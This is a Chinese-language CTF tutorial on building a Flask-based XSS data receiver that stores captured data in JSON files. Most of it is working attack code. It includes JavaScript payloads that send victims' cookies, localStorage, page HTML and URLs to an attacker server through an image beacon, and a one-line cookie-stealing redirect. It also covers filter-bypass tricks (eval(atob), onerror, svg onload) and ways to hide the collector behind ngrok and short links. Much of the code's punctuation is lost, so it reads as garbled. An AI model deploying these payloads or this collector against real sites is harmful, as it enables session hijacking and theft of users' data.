CTF实战:3步搭建无SQL版XSS数据接收平台
1. 项目概述为什么我们需要一个“无SQL”的XSS接收平台在CTF的Web安全赛道上XSS跨站脚本攻击几乎是必考题型尤其是反射型和存储型XSS。选手不仅要能发现漏洞、构造Payload更关键的一步是证明这个漏洞的“危害性”——即你能通过这个漏洞拿到什么是用户的Cookie、页面内容还是执行了任意操作这时候一个稳定、隐蔽且易于部署的“数据接收平台”就成了你的“眼睛”和“耳朵”。它负责在远端静静地等待一旦目标触发了你植入的XSS代码平台就能立刻捕获到数据比如受害者的document.cookie。你可能会问网上不是有很多现成的XSS平台吗为什么还要自己折腾一个“无SQL”的版本这正是这个项目的核心价值所在。首先在CTF比赛或内部演练环境中网络环境往往受限你可能没有外网服务器或者无法连接公网数据库。一个无需安装MySQL、PostgreSQL等数据库即“无SQL”的平台依赖文件系统如JSON、TXT文件来存储数据部署门槛极低在Docker容器、临时VPS甚至本地用Python起个服务都能瞬间跑起来。其次“无SQL”意味着更少的依赖、更简单的代码结构你能完全掌控数据流向这对于理解XSS攻击的完整链条——从Payload构造、投递到数据回传——有莫大的帮助。最后自己搭建的过程本身就是对HTTP协议、前端JavaScript、后端数据接收处理的一次绝佳实战。所以这个“3步掌握”的目标就是让你从“只会用工具”变成“洞悉原理并能快速搭建定制化工具”的人。接下来我会带你从零开始拆解一个典型无SQL版XSS数据接收平台的构建思路、核心代码实现并分享我在CTF实战中积累的部署技巧和避坑指南。2. 平台核心设计与架构拆解一个XSS数据接收平台本质上是一个Web应用它提供两个核心功能1. 生成供攻击者使用的XSS Payload链接2. 接收并记录由受害者浏览器触发Payload后发回的数据。无SQL的设计让我们的架构变得异常清晰。2.1 核心工作流程与组件整个平台的工作流程可以概括为以下几步攻击者你访问平台平台为你生成一个唯一的标识符如uuid和一个对应的XSS Payload。这个Payload通常是一个指向平台接收端口的JavaScript脚本URL。攻击者将构造好的Payload通过某种方式如提交到有XSS漏洞的留言板、诱骗用户点击链接植入到目标环境中。受害者目标用户或裁判机器人访问了包含Payload的页面其浏览器自动执行了该JavaScript代码。受害者浏览器按照Payload的指令将敏感信息如Cookie、LocalStorage、页面HTML以HTTP请求通常是GET或POST的方式发送到你的数据接收平台。数据接收平台的后端服务接收到请求解析出数据如URL参数、POST Body并将这些信息与攻击者的唯一标识符关联起来保存到文件系统中。攻击者可以随时回到平台通过自己的唯一标识符查询“战果”查看收到了哪些数据。在这个流程中平台需要三个核心组件前端界面用于生成Payload、展示接收到的数据。通常很简单一个表单足矣。后端服务核心大脑。它需要处理两个路由/generate 接收请求生成唯一ID和Payload并可能在前端展示。/record 这是数据接收的端点。Payload中的JavaScript会向这个地址发送请求。数据存储层在“无SQL”版本中这就是服务器上的一个目录。我们可以为每个攻击者会话创建一个JSON文件或者用一个大的JSON文件管理所有记录。文件存储的优势是直观、无需额外服务劣势是在高并发下需要处理文件读写锁。2.2 技术选型为什么是Flask 纯文件存储对于CTF场景技术选型的核心原则是轻量、快速、可控。Python的Flask框架几乎是完美选择。Flask框架它是一个微框架意味着它没有强制的项目结构也没有一堆用不上的预置功能。我们只需要几行代码就能启动一个Web服务器定义路由非常直观。相比于Django或Spring BootFlask的学习和部署成本几乎为零特别适合快速构建原型和专用工具。文件存储JSON放弃SQLite/MySQL直接使用JSON文件。JSON是前端和后端通用的数据格式Python内置的json模块读写方便数据可直接在浏览器中查看。我们不需要关系型数据库的复杂查询我们的需求很简单写入一条记录读取某个ID下的所有记录。文件系统完全胜任。存储设计示例在项目根目录创建data/文件夹。每个生成的攻击会话ID如abc123对应一个文件data/abc123.json。文件内容就是一个JSON数组每次收到该ID的数据就往数组里追加一个对象。// data/abc123.json [ { timestamp: 2023-10-27 10:00:00, ip: 192.168.1.100, user_agent: Mozilla/5.0..., data: cookiesessionidsecret123, referer: http://vulnerable-site.com/page }, { timestamp: 2023-10-27 10:01:00, ip: 192.168.1.100, user_agent: Mozilla/5.0..., data: localStorage.tokenabcde, referer: http://vulnerable-site.com/profile } ]前端直接用Flask渲染简单的HTML模板即可甚至可以用纯JavaScript调用后端API保持极简。注意在生产环境或公开网络这样的简易平台存在巨大安全风险如任意文件读取、写入。但我们的使用场景是CTF比赛、内部靶场或本地测试且通常运行在隔离环境。务必不要在公网长期运行未经验证加固的版本。3. 三步构建实战从零到可用的接收平台下面我们进入最关键的实操部分。我将用Flask实现确保每一步你都能看懂并复现。3.1 第一步环境准备与基础框架搭建首先确保你的Python环境建议3.6以上已就绪。创建一个新的项目目录并安装必要依赖。# 创建项目目录并进入 mkdir xss_data_receiver cd xss_data_receiver # 创建虚拟环境可选但推荐 python -m venv venv # 激活虚拟环境 # Windows: venv\Scripts\activate # Linux/Mac: source venv/bin/activate # 安装Flask pip install flask接下来创建最基本的应用文件app.py和目录结构。# app.py from flask import Flask, request, jsonify, render_template import json import os from datetime import datetime import uuid app Flask(__name__) # 确保数据存储目录存在 DATA_DIR data if not os.path.exists(DATA_DIR): os.makedirs(DATA_DIR) if __name__ __main__: app.run(debugTrue, host0.0.0.0, port5000)同时创建模板目录templates并在其中创建首页index.html。!-- templates/index.html -- !DOCTYPE html html head titleXSS数据接收平台/title style body { font-family: sans-serif; margin: 40px; } .container { max-width: 800px; margin: auto; } .section { margin-bottom: 30px; padding: 20px; border: 1px solid #ccc; border-radius: 5px;} input, button { padding: 8px; margin: 5px; } #payloadDisplay { background-color: #f5f5f5; padding: 10px; word-break: break-all; } #records { font-family: monospace; white-space: pre-wrap; } /style /head body div classcontainer h1XSS 数据接收平台/h1 div classsection h21. 生成Payload/h2 button onclickgeneratePayload()点击生成专属XSS Payload/button div idpayloadDisplay/div /div div classsection h22. 查看接收记录 (ID: span idsessionId未生成/span)/h2 button onclickfetchRecords()刷新记录/button div idrecords暂无数据/div /div /div script src/static/main.js/script /body /html再创建一个简单的JavaScript文件static/main.js来处理前端交互。// static/main.js let currentSessionId null; async function generatePayload() { const response await fetch(/generate); const result await response.json(); currentSessionId result.session_id; document.getElementById(sessionId).textContent currentSessionId; document.getElementById(payloadDisplay).innerHTML strong你的Payload URL:/strongbr/code${result.payload_url}/codebr/br/ strong直接注入的JS代码:/strongbr/codelt;script src${result.payload_url}gt;lt;/scriptgt;/code; } async function fetchRecords() { if (!currentSessionId) { alert(请先生成Payload); return; } const response await fetch(/records/${currentSessionId}); const data await response.json(); document.getElementById(records).textContent JSON.stringify(data, null, 2); }现在运行python app.py访问http://127.0.0.1:5000你应该能看到一个简单的界面。当然后端路由还没写功能还不完整。但这完成了基础框架搭建。3.2 第二步核心后端路由实现生成与接收这是平台的心脏。我们需要实现三个核心路由生成Payload、接收数据、查询数据。在app.py中继续添加代码# app.py (续) # 首页渲染前端界面 app.route(/) def index(): return render_template(index.html) # 1. 生成Payload的路由 app.route(/generate, methods[GET]) def generate(): # 生成一个唯一的会话ID session_id str(uuid.uuid4())[:8] # 取前8位足够唯一且简短 # 构造Payload URL。这里假设平台运行在 http://你的IP:5000 # 注意在实际部署时你需要替换成你的公网IP或域名 base_url request.host_url.rstrip(/) # 自动获取当前服务的根URL record_url f{base_url}/record # 核心Payload一个指向/record端点的脚本并携带session_id参数 payload_js fscript src{record_url}?sid{session_id}dataCOOKIE_PLACEHOLDER/script # 更常用的方式是动态收集数据我们可以生成一个更智能的Payload # 下面是一个功能更强大的Payload模板它会自动收集Cookie、URL、Referer等并发送 smart_payload f script (function() {{ var sid {session_id}; var recUrl {record_url}; // 收集数据 var data {{ cookie: document.cookie, url: window.location.href, referer: document.referrer, userAgent: navigator.userAgent, timestamp: new Date().toISOString(), // 甚至可以尝试获取页面源码部分 html: document.documentElement.innerHTML.substring(0, 2000) // 限制长度 }}; // 发送数据使用Image对象触发GET请求兼容性最好 var img new Image(); img.src recUrl ?sid encodeURIComponent(sid) data encodeURIComponent(JSON.stringify(data)); }})(); /script # 为这个session_id创建一个空的数据文件 file_path os.path.join(DATA_DIR, f{session_id}.json) with open(file_path, w, encodingutf-8) as f: json.dump([], f) # 初始化为空数组 return jsonify({ session_id: session_id, payload_url: f{base_url}/payload/{session_id}, # 我们将通过另一个路由来提供这个智能Payload raw_js: smart_payload # 也返回原始JS代码供直接复制 }) # 提供一个干净的Payload JS文件路由 app.route(/payload/session_id) def serve_payload(session_id): 提供一个纯净的JS文件作为Payload避免被某些过滤器拦截 base_url request.host_url.rstrip(/) rec_url f{base_url}/record # 返回一个立即执行函数内容与上面smart_payload核心部分一致 js_content f (function(){{ var d{{ c:document.cookie, u:window.location.href, r:document.referrer, a:navigator.userAgent, t:new Date().toISOString(), h:document.documentElement.innerHTML.substring(0,5000) }}; new Image().src{rec_url}?sid{session_id}dencodeURIComponent(JSON.stringify(d)); }})(); # 设置正确的Content-Type确保浏览器当作JS执行 return js_content, 200, {Content-Type: application/javascript} # 2. 接收数据的路由 (核心中的核心) app.route(/record, methods[GET]) def record(): 接收XSS传回的数据 session_id request.args.get(sid) # 数据可能通过URL参数data或d传递我们做了简化处理 encrypted_data request.args.get(data) or request.args.get(d, ) if not session_id: return jsonify({error: No session ID}), 400 # 准备要存储的记录条目 record_entry { timestamp: datetime.now().isoformat(), remote_ip: request.remote_addr, user_agent: request.headers.get(User-Agent), referer: request.headers.get(Referer), # 尝试解码数据 data: No data or failed to decode } try: # 尝试解码URL编码并解析JSON if encrypted_data: import urllib.parse decoded_data urllib.parse.unquote(encrypted_data) parsed_data json.loads(decoded_data) record_entry[data] parsed_data # 存储解析后的对象 except Exception as e: # 如果解析失败存储原始字符串 record_entry[data] encrypted_data record_entry[parse_error] str(e) # 将记录保存到对应的JSON文件 file_path os.path.join(DATA_DIR, f{session_id}.json) records [] # 读取现有记录 if os.path.exists(file_path): try: with open(file_path, r, encodingutf-8) as f: records json.load(f) except json.JSONDecodeError: records [] # 追加新记录 records.append(record_entry) # 写回文件 with open(file_path, w, encodingutf-8) as f: json.dump(records, f, indent2, ensure_asciiFalse) # 返回一个1x1像素的GIF图片让请求静默完成 # 这是经典技巧避免浏览器因加载失败而报错影响隐蔽性 gif_1x1 base64.b64decode(R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7) return gif_1x1, 200, {Content-Type: image/gif, Cache-Control: no-cache} # 3. 查询数据的路由 app.route(/records/session_id, methods[GET]) def get_records(session_id): 获取指定session_id的所有记录 file_path os.path.join(DATA_DIR, f{session_id}.json) if not os.path.exists(file_path): return jsonify([]) try: with open(file_path, r, encodingutf-8) as f: records json.load(f) return jsonify(records) except json.JSONDecodeError: return jsonify({error: Corrupted data file}), 500现在你的平台核心功能已经完备。重启Flask应用访问首页点击“生成Payload”你会得到一个类似http://127.0.0.1:5000/payload/abc123def的链接。将这个链接作为script标签的src注入到存在XSS漏洞的页面或在浏览器地址栏手动执行平台就会在/records/abc123def下收到数据。3.3 第三步平台部署、优化与实战技巧本地运行没问题但CTF比赛中你需要让靶机或裁判机器人能访问到你的平台。这就涉及到部署。部署方案选择临时公网VPS推荐购买按小时计费的云服务器如各大云厂商的抢占式实例快速部署。记得在安全组/防火墙中开放你使用的端口如5000。内网穿透工具如果你只有本地网络可以使用内网穿透工具如ngrok、frp将本地端口暴露到一个公网域名。这对于快速测试非常方便。# 以ngrok为例需注册获取token ngrok http 5000运行后ngrok会给你一个https://xxxx.ngrok.io的域名直接替换掉Payload中的localhost即可。Docker容器化编写简单的Dockerfile可以确保环境一致方便在任何支持Docker的地方一键启动。# Dockerfile FROM python:3.9-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY . . CMD [python, app.py]# 构建并运行 docker build -t xss-receiver . docker run -p 5000:5000 -v $(pwd)/data:/app/data xss-receiver实战技巧与避坑指南Payload的隐蔽与绕过短域名使用ngrok或短域名服务让Payload链接看起来不那么可疑。编码混淆对Payload进行Base64、JSFuck等编码以绕过简单的关键词过滤。例如可以将script.../script转换为scripteval(atob(...))/script。利用HTML事件如果script标签被过滤尝试使用事件处理器如img srcx onerror...、svg onload...等。拆分与拼接使用String.fromCharCode()或数组拼接来构造敏感字符串如window[location][href]。数据接收的稳定性多端点备用除了/record可以再设置几个类似/r、/collect的路由在Payload中随机使用防止被简单的规则屏蔽。错误处理在Payload JS中加入try-catch确保即使部分代码执行失败也不影响整体。图片信标如上文代码所示使用new Image().src发起GET请求是最可靠的方式之一兼容性极佳且像加载图片一样自然。平台自身的注意事项端口选择避免使用80、443等常见端口可能被占用或受管制。使用5000、8000、8080等开发端口。日志管理Flask的debugTrue模式会输出详细日志在生产部署时应关闭。同时定期清理data/目录下的旧JSON文件避免磁盘占满。基础安全至少应该在生成会话ID时做简单的权限验证虽然CTF中不严格防止他人随意读取你的数据文件。可以添加一个简单的密钥验证。4. 在CTF实战中的应用与问题排查有了自己的平台如何在CTF中有效利用它典型CTF XSS题目利用流程侦察发现可能存在XSS的点如搜索框、留言板、用户资料。测试插入简单Payload如scriptalert(1)/script或img srcx onerroralert(1)确认漏洞存在。植入将你的平台生成的智能Payload植入。注意题目环境可能限制长度这时需要使用短链或极简Payload如仅发送Cookie。极简Payload示例scriptlocation.hrefhttp://your-platform.com/record?sidYOUR_IDcdocument.cookie/script触发如果是反射型XSS需要让裁判机器人或模拟用户访问你构造的链接。如果是存储型提交后等待机器人浏览相关页面。查收在平台界面刷新记录查看获取到的数据。Flag可能就在Cookie、页面源码或LocalStorage中。常见问题与排查Q平台没有收到任何数据。A1检查网络连通性。确保你的平台地址能从靶机环境访问。在VPS上可以用curl http://localhost:5000测试或用在线端口检测工具检查公网IP的端口是否开放。A2检查Payload是否被正确执行。在Payload中先使用alert(1)或console.log测试是否能在目标页面执行JS。A3检查CORS跨域问题。如果你的平台和靶站不同源且靶站设置了严格的CORS策略XMLHttpRequest或Fetch请求可能被阻止。这就是为什么我们优先使用Image对象——它不受CORS限制对于简单请求。如果必须用Fetch尝试添加mode: no-cors但这样你读不到响应。A4查看Flask服务日志。控制台会打印出每一个访问请求检查/record端点是否有被调用参数是否正确。Q收到了请求但data字段是空的或乱码。A1URL编码问题。确保Payload中发送数据前使用了encodeURIComponent()。后端使用urllib.parse.unquote()进行解码。A2数据过大。GET请求有URL长度限制约2048字符。如果收集的document.cookie或innerHTML太长可能导致截断。考虑改用POST请求需构造FormData并用navigator.sendBeacon或Fetch发送或者只收集关键信息。A3JSON解析错误。可能发送的不是标准JSON字符串。在后端代码中我们已添加了异常处理将原始数据存储下来。检查record_entry[data]字段的原始内容。Q平台在公网部署后很快被其他选手扫描或攻击。A这在公开CTF中很常见。应对策略使用复杂路径不要用/record这样明显的路径改用随机的、长长的路径如/abc123def456/collect。快速迭代比赛开始后尽快部署使用拿到所需数据后即可关闭服务。添加简单认证在生成Payload和查询记录时要求一个简单的令牌Token并在Payload中携带。虽然不强但能挡住无目的的扫描。Q如何应对题目对script、on事件等关键词的过滤A这是XSS题目的常见考点。你需要掌握各种绕过技巧大小写混淆ScRiPt、IMG SRCx Onerroralert(1)双写绕过如果过滤是删除一次script可以尝试scrscriptipt。使用非标准属性或标签如svgscript.../script/svg、details open ontogglealert(1)。利用JavaScript伪协议a hrefjavascript:alert(1)click/a但需要用户点击。编码HTML实体编码、JS Unicode编码等。例如可以写成lt;但在某些上下文如标签内可能被解码。搭建并熟练使用这样一个无SQL的XSS数据接收平台不仅能让你在CTF比赛中更加得心应手更能深刻理解XSS攻击的“后半程”——数据外带。你会发现安全工具不在于多么庞大复杂而在于是否精准地解决了特定场景下的问题。这个不足200行代码的平台就是这样一个锋利的小刀。试着根据不同的比赛环境去修改它、强化它比如增加对DOM型XSS的数据收集、支持WebSocket实时推送新记录这才是从“会用”到“精通”的关键。